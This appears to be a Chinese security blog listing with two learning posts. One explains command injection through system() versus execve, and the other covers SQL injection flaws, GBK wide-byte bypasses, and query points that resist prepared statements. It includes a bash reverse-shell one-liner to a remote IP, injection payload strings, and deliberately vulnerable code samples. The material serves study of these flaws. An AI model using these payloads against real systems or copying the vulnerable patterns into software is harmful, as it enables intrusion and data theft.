---》进程相关的信息挂载在这⾥相关信息解释:0代表标准输入(stdin)1代表标准输出(stdout)2代表标准错误(stderr)当前shell就是标准输入/输出/错误都重定向到同一个地方,所以我们执行命令时能得到结果和错误提示反弹shell那么结合我们的安全角度,反弹shell就是一个shell命令,如何解释它?sh -i >& /dev/tcp/192.168.101.30/2222 0>&1sh -i:启动一个交互式的 Shell。>&:因此,>&将 stdout 和 stderr 合并后发送到后面的目标。/dev/tcp/192.168.101.30/2222:创建一个连接到192.168.101.30:2222的Socks0>&1:将 stdin 重定向到该 SocksLinux进程是如何创建的Linux区分⽤户态和内核态,⽤户态程序要进⾏所有动作、其实都是通过调⽤system call(系统调⽤syscall)向内核发起请求,最终在内核态执⾏完毕后才能得到返回。系统调⽤跟⽤户⾃定义函数⼀样也是⼀个函数,不同的是系统调⽤运⾏在内核态,⽽⽤户⾃定义函数运⾏在⽤户态。由于某些指令(如设置时钟、关闭/打开中断和I/O操作等)只能运⾏在内核态,所以操作系统必须提供⼀种能够进⼊内核态的⽅式,系统调⽤就是这样的⼀种机制。Linux创建进程的大致流程bash -c whoami在内核态执行了以下动作fork用于创建一个与父进程相似的子进程,两者拥有相同的地址空间,但具有独立的PID。子进程通过写时复制机制与父进程共享资源。而execve则在当前进程上下文替换并运行新的程序。关于系统调⽤的跟进,使用神器strace。如果你致⼒于成为⼀个安全研究员,后⾯的⼯作免不了跟他打交道。strace -tt -f -e trace=process python3 test.pyimport os if __name__ == '__main__': name = '123";ping baidu.com -c 100;echo "456' cmd = 'echo "HELLO ' + name + '"' os.system(cmd)这边的clone相当于fork,然后我们还可以发现一个点就是echo为什么没有创建,这是因为echo内置在shell里面了,所以不会创建一个新的进程命令注入的本质是在注入什么var name = requset.get("name") var cmd = "echo 'Hello " + name + "'" RUN_CMD(cmd)在有伪代码的情况下观察下面的代码,想想他们都能执行RCE吗?如果不一定,那么区别在哪?思考代码C/PHP/Python下的system()/popen()函数system($input$) 执⾏ sh -c '$input' 可以转化为 bash(pid:1) --> sys_fork --> bash(pid:2) --> sys_execve --> /bin/whoami(pid:2)Python的subprocess.call函数import os import subprocess if __name__ == '__main__': name = '123";ping baidu.com -c 100;echo "456' cmd = 'echo "HELLO ' + name + '"' subprocess.call(cmd, shell=True)import os import subprocess if __name__ == '__main__': name = '123";ping baidu.com -c 100;echo "456' cmd = 'echo "HELLO ' + name + '"' subprocess.call(cmd, shell=False)两者的区别是什么?存在RCE吗?Java的命令执行函数import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; public class main { public static void main(String[] args) { try { String name = "123';ping baidu.com -c 3;echo '456"; String cmd = "echo 'HELLO " + name + "'"; Process pro = Runtime.getRuntime().exec(cmd); InputStream in = null; in = pro.getInputStream(); BufferedReader read = new BufferedReader(new InputStreamReader(in)); String result = read.readLine(); System.out.println("INFO:"+result); } catch (IOException e) { throw new RuntimeException(e); } } }上面这些代码的区别是什么,当我们发现这些代码的时候都能实现RCE吗?下面就开始介绍这些代码的区别,以及他们能否实现RCE函数与命令的关系PHP <?php $name = $_GET['name']; $cmd = 'echo "Hello '.$name.'"'; var_dump("system", system($cmd)); //sh -c echo '</br>'; var_dump("exec",exec($cmd)); //sh -c echo '</br>'; var_dump("shell_exec",shell_exec($cmd)); //sh -c echo '</br>'; var_dump("popen");$x = popen($cmd, 'r');var_dump($x);var_dump(fread($x, 1024)); //sh -c echo '</br>'; $a = array(); var_dump("proc_open");$x = proc_open($cmd, $a,$b); //sh -c ?>PHP中的大多数执行外部命令的函数其实都是通过sh -c去执行的Pythonimport os if __name__ == '__main__': name = '123";ping baidu.com -c 100;echo "456' cmd = 'echo "HELLO ' + name + '"' os.system(cmd)Javaimport java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; public class main { public static void main(String[] args) { try { String name = "123';ping baidu.com -c 3;echo '456"; String cmd = "echo 'HELLO " + name + "'"; Process pro = Runtime.getRuntime().exec(cmd); InputStream in = null; in = pro.getInputStream(); BufferedReader read = new BufferedReader(new InputStreamReader(in)); String result = read.readLine(); System.out.println("INFO:"+result); } catch (IOException e) { throw new RuntimeException(e); } } }总结system类如果是执⾏system函数,或者类似system函数,他们都是直接⾛的fork-->execve流程在这种流程下调用的是外部bash -c,这种情况下,我们的输⼊被拼接加⼊到作为bash -c的参数,⽽bash -c是⽀持shell语法的,所以我们能够很轻易的进⾏拼接、绕过,这种也是最常⻅的RCE攻击execve类⽐如Runtime.getRuntime().exec()和subprocess.call(cmd, shell=False)这两者,⾛的流程是直接execve,在这种情况下,我们的输⼊只能作为固定进程的参数,那么我们就没办法⽤shell语法了,与任何拼接都没有关系了。那么这种情况如何绕过?execve类参数绕过当我们不能执⾏任意进程的时候(我们的输⼊只是某个特定进程的输⼊参数的时候),依然能找到⼀些撸点,但是撸点的⼤⼩,取决的使⽤的进程程序本身的参数是不是能注⼊。比如说rpm和curlimport shlex import subprocess import urllib from flask import Flask, request app = Flask(__name__) @app.route('/rpm') def rpm_install(): # put application's code here rpm = request.args.get("rpm") if rpm is None or rpm.strip() == "": return "please input rpm to install" rpm = urllib.parse.unquote(rpm) cmd = "rpm " + rpm cmd_list = shlex.split(cmd) process = subprocess.Popen(cmd_list, shell=False, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) result = "result is:\n" while process.poll() is None: line = process.stdout.readline() line = line.strip() if line: result = result + str(line) return result @app.route('/curl') def curl(): # put application's code here url = request.args.get("url") if url is None or url.strip() == "": return "please input url" cmd = ['curl', url] process = subprocess.Popen(cmd, shell=False, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) result = "result is:\n" while process.poll() is None: line = process.stdout.readline() line = line.strip() if line: result = result + str(line) return result if __name__ == '__main__': app.run(host="0.0.0.0")参考文档Linux:https://gtfobins.github.io/Windows:https://lolbas-project.github.ioCurlrpm
2025年09月11日
3 阅读
0 评论
0 点赞
2025-09-10
SQL注入的本质-是什么数据库
SQL注入的基础代码以下知识仅为个人学习过程中的记录<?php $db = init_db(); $username = $_GET['username']; //input: 111' and 1=1# $db->query("select * from table where username = '$username'"); ?>string connectionstring = "xxx"; SqlConnection con = new SqlConnection(connectionstring); con.Open(); string idCard = Request.QueryString["idCard"]; string sql = "select * from table where idCard = '" + idCard + "'"; SqlDataAdapter adapter = new SqlDataAdapter(sql, con); DataSet dataSet = new System.Data.DataSet(); adapter.Fill(dataSet); con.Close()conn = DBHerpel.getConnection(); if (conn == null) return; String username = request.getParameter("username"); String Sql = "select * from table where username = '" + username + "'"; stt = conn.createStatement(); set = stt.executeQuery(Sql);@app.route("/", methods=["GET"]) def test(): username = request.args.get('username') sql = "select * from table where username = '" + username + "'" conn = connect(host='localhost',port=3306,user='root',password='',database='test',charset='utf8') cs1 = conn.cursor() count = cs1.execute(sql)哪怕不是全部了解上面的语言,也可以看出来,这些代码都是没有使用ORM框架,直接调用原生数据库操作函数的实例。(ORM框架其实本身也是调用原生数据库操作函数,但是它做了一些封装和映射,只要按照规范写法,现代ORM基本都加了一些过滤在里面)通过上面的代码,可以很明显看出来,这些sql语句都是拼接构成的,所以说他们都存在SQL注入,在数据库层面中的数据流(SQL语句)侵入到了控制流。通常这种漏洞点大概率会在不同层面组件的交汇点,像上面就是代码层和数据库层的交汇点出现了SQL注入。调用ORM的错误写法PHP对于PHP来说没有什么特别出名的ORM框架,基本都是各个Web开发框架自带的ORM。对于这种情况,可以直接审计对应Web开发框架,因为这些开发框架/CMS的ORM可能写的并不规范,没有专门针对这方面进行维护,所以说相对而言存在漏洞点的可能更高。Java/MybatisMybatis需要有一个xml配置文件来绑定映射关系<select id="findUserByName" parameterType="java.lang.String" resultType="cn.itcast.mybatis.po.User"> <!-- 拼接 MySQL,引起 SQL 注⼊ --> SELECT * FROM table WHERE username = '${value}' </select>@Test public void testFindUserByName() throws Exception{ SqlSession sqlSession=sqlSessionFactory.openSession(); //创建UserMapper代理对象 UserMapper userMapper=sqlSession.getMapper(UserMapper.class); //调⽤userMapper的⽅法 List<User> list=userMapper.findUserByName("fuck' and 1=1#"); sqlSession.close(); System.out.println(list); }Mybatis存在两种变量绑定方式,分别是#{}和${}#是绑定变量的形式,底层会将#{}替换为?,有参数映射会在DefaultParameterHandler中进⾏设置占位符的操作,这就是预编译$也是绑定变量的形式,{value}是直接被替换成对应的值,没有参数映射,不会进行设置占位符的操作,本质上就是拼接在代码审计中可以直接搜$符号,针对小型的CMS来说简单而有效Python/SqlalchemySqlalchemy是Flask最经常配套使用的ORM框架,在许多的Django项目中也经常使用,是目前Python语言中最火的ORM框架@app.route("/", methods=["GET"]) def test(): username = request.args.get('username') res = db.session.query(table).filter("username={}".format(username))这个存在漏洞的原因是跟上面的Mybatis差不多,就是先"username={}".format(username)拼接字符串,然后再使用ORM框架进行查询,这个地方就是不同层面的交汇处,因为不规范的写法导致SQL注入正规写法如下:@app.route("/", methods=["GET"]) def test(): username = request.args.get('username') res = db.session.query(table).filter(table.username == username)SQL注入到底是在干什么重要核心看完了上面的原生数据库操作函数的调用导致的SQL注入以及ORM框架的错误写法导致的SQL注入,我们知道SQL注入到底是在干什么吗?不需要特别关心SQL注入的类型有哪些,像什么联合查询注入、二次注入、布尔盲注等其实,仔细总结上面的内容,可以得出一个结论:SQL注入就是去执行一段SQL语句,而这个SQL语句长什么样子,关键跟数据库类型有关不同的编程语言他们最终的目的都是将SQL语句送入数据库层进行执行,我们只要能发现注入点即可,至于用什么开发语言都是一样的对于注入类型注入类型相对于开发语言来说比较重要一些,不需要特别关注,但是我们得知道一些关键点能否堆叠注入像上面提到的,一条SQL语句最终会被解析成一段控制序列action(动作): select object(对象): table subject(⽬标客体): * condition(条件): key: username value: $username // ⽤户输⼊如果能够使用堆叠注入的话,那么我们就会跳出action的动作,进而执行其他动作,这样造成的危害程度肯定会更高但是堆叠注入的出现越来越少,一般情况下:Mssql数据库的堆叠注入最多;Oracle数据库的数量少一些;Mysql不多爆数据的速度报错~=联合查询>带外查询>布尔盲注>时间盲注对于输入点当我们发现一个注入点,我们也要关注这个注入点在SQL语句中的输入位置,根据不同的输入点,我们需要采用不同的payload,同时也要考虑是否需要进行绕过,后面的内容会联动这点select $username$,password from $table$ where $username2$ = '$xxx$' order by $username3$ desc limit $0$,1有撸点的SQL注入类型宽字节注入概念我们知道字节是计算机存储世界中最⼩的衡量单位,1Byte = 8bits。所以⼀个字节最⼤能够表示2^8=256个字符。所以:对ascii编码⽽⾔,⼀个字符⽤⼀个字节就可以表示,所以ascii编码最多可以表示256个字符。对GBK编码⽽⾔,⼀个汉字字符需要⽤两个字节表示。所以gbk编码理论上最多可以表示256*256个字符。利用方式<?php $db = init_db(); $db->query("SET NAMES 'gbk'); //设置gbk字符集 // addslashes会自动对单引号转义 $username = addslashes($_GET['username']); //input: fuck' and 1=1# $db->query("select * from table where username = '$username'"); ?>select * from table where username = 'fuck\' and 1=1#'SQL语句如上所示,在代码层会被直接插入一个\符号,从而对单引号进行转义,这样我们就没法入侵到控制流了但是当我们输入是这样的时候,就会出现不一样的效果了fuck%df\' and 1=1#数据在存储时采用字节方式存储,但是解读时采用字符标准去解读。而字符标准跟采用什么字符集有关系。所以在连接数据库执行SQL语句时(这时候就是对数据的解读),会按照字符集编码的规则去解读。而当遇到\xDF\x5C时,就会解读成運转码网站:https://www.23bei.com/tool/54.html#\x5c就是\的十六进制表示这里补充一下,并非只有\xdf才可以和\x5c组成字符,其他字符也OK,不必纠结这个,具体哪些字符组合可以自行查阅GBK编码情景利用所以在代码审计中审阅宽字节注入的方式就是查看数据库连接文件(一般是conn.php这种)。检查其字符集是否为utf-8,如果不是utf-8,那么就有可能产生注入参考文章https://xz.aliyun.com/news/1477?time__1311=eqIx9DBDnGDQitD%2F82xBKcAOzddx2AbD&u_atoken=2997a913f8636a69d9eae6cbcac41657&u_asig=1a0c380917410698476814249e0038预编译模式下的注入宽字节注入<?php $username = $_GET['username']; $db = "mysql:host=127.0.0.1;dbname=test;charset=gbk"; $dbname = "root"; $passwd = "root"; $conn = new PDO($dbs, $dbname, $passwd); $conn->query('SET NAMES GBK'); $stmt = $conn->prepare("select * from table where username = :username"); $stmt->bindParam(":username",$username); $stmt->execute(); ?>看似进行预编译好像安全了,但是在这种情况下是无法解决宽字节注入的问题的因为,在数据的流转中是这样的$stmt = $conn->prepare("select * from table where username = :username"); ==>sql = "select * from table where username = '${addslashes($input)}'"在此处我们有发现了addslashes这个函数,那不是跟传统的宽字节注入绕过方法一样吗?所以在这种情况下,预编译是不起作用的一些无法预编译的点既然讲到预编译不起作用,那么这部分聊聊那些没法通过ORM/预编译去保护的输入点,这种情况是通用的,无视任何语言like&in关键字我们知道sql语句的模糊查找⾥⾯⽤的关键字like。⽽like关键字默认是不会预编译的(如果使⽤Mybatis则是预编译报错)。数据库⽅给出的原因好像是like预编译会造成慢查询和DOS。所以对于like关键字,只能通过手动添加预编译来解决。一些开发只会照着以往的样子进行编写,不会知道like关键字的预编译会失效,所以这时候就给了我们可趁之机<?php $username = $_GET['username']; $db = "mysql:host=127.0.0.1;dbname=test;"; $dbname = "root"; $passwd = "root"; $conn = new PDO($dbs, $dbname, $passwd); $conn->query('SET NAMES GBK'); $stmt = $conn->prepare("select * from table where username like '%:username%'"); //不⽣效 $stmt = $conn->prepare("select * from table where username like concat('%',:username,'%'"); //⽣效 $stmt->bindParam(":username",$username); $stmt->execute(); ?>一些Java开发发现Mybatis编译报错,他就会改用$符号,或者直接就不写预编译。如果开发手写预编译的话,也可能没有那么完善,存在绕过的机会。同样的,in关键字也是默认不能进行预编译的,需要在预编译语法中去for循环,有些开发为了方便,写的代码少一些,就可能在这边偷工减料不能加引号的关键字结合我们上面看到宽字节绕过预编译,我们可以看到预编译+绑定变量的效果大概有两个步骤$str = addslashes($input) //内容转义 $sql = "select * from table where column = '$str'" //强制使用单引号包裹结合我们上面提到的产生注入的输入点select $username$,password from $table$ where $username2$ = '$xxx$' order by $username3$ $desc$ limit $0$,1观察上面SQL语句中的输入点,有哪些地方是必然不能加单引号的呢?如果这个地方不能加单引号,那么就无法进行预编译于是整合如下:$username$,$table$,$username2$,$username3$,$desc$,$0$也就是说列名、表名、limit子句、order by[desc/asc]都不能添加单引号,所以他们都不能进行预编译。在这种情况下,开发可能会遗漏这些点的检测,导致存在注入。参考文章https://forum.butian.net/share/1559http://cn-sec.com/archives/286656.htmlhttps://codeantenna.com/a/WzaLCig9qw权限认知-数据平面一些权限的例子在cms/web层⾯:web后台管理员权限>web前台会员权限>游客权限在数据库层⾯:root⽤户/sa⽤户/postgres⽤户>普通杂七杂⼋⽤户在操作系统层⾯:root > 所有其他⽤户对于权限的重要认知认清数据平面未授权RCE我们以游客的权限,拿到⼀个rce漏洞(也就是未授权rce),那么我们的权限是什么?是web后台管理员权限吗?并不是,而是操作系统权限,此时我们的数据平面在操作系统层面在操作系统层⾯,我们的**bash进程是httpd进程派⽣的,所以与httpd进程是同层级的,所以此时我可以读写web⽬录的任意⽂件(前提是web⽬录本身对httpd可读写)**SQL注入如果我们以游客权限,拿到⼀个sql注⼊点,那么我们的权限是什么?是web后台管理员权限吗?并不是,而是数据库权限,此时我们的数据平面在数据库层面在数据库层⾯,我们⽬前就是mysql进程维护的⼀个通信线程,我们就是数据库的root或者普通库权限(取决于web数据库配置⽂件中定义的⽤户)。SQL注入到命令执行如果我们以游客权限,拿到⼀个sql注⼊点,并且这个注⼊点可以执⾏命令,那么我们的权限是什么?是数据库的root吗?并不是,而是操作系统权限,此时我们的数据平面在操作系统层面在操作系统层⾯,我们⽬前就是mysql进程派⽣的⼀个bash进程,所以与mysql进程是同层级的,所以此时我可以读写mysql数据库⽂件⽬录的⽂件。也⼤概率有权限读web⽬录的⽂件
2025年09月10日
3 阅读
0 评论
0 点赞
1
2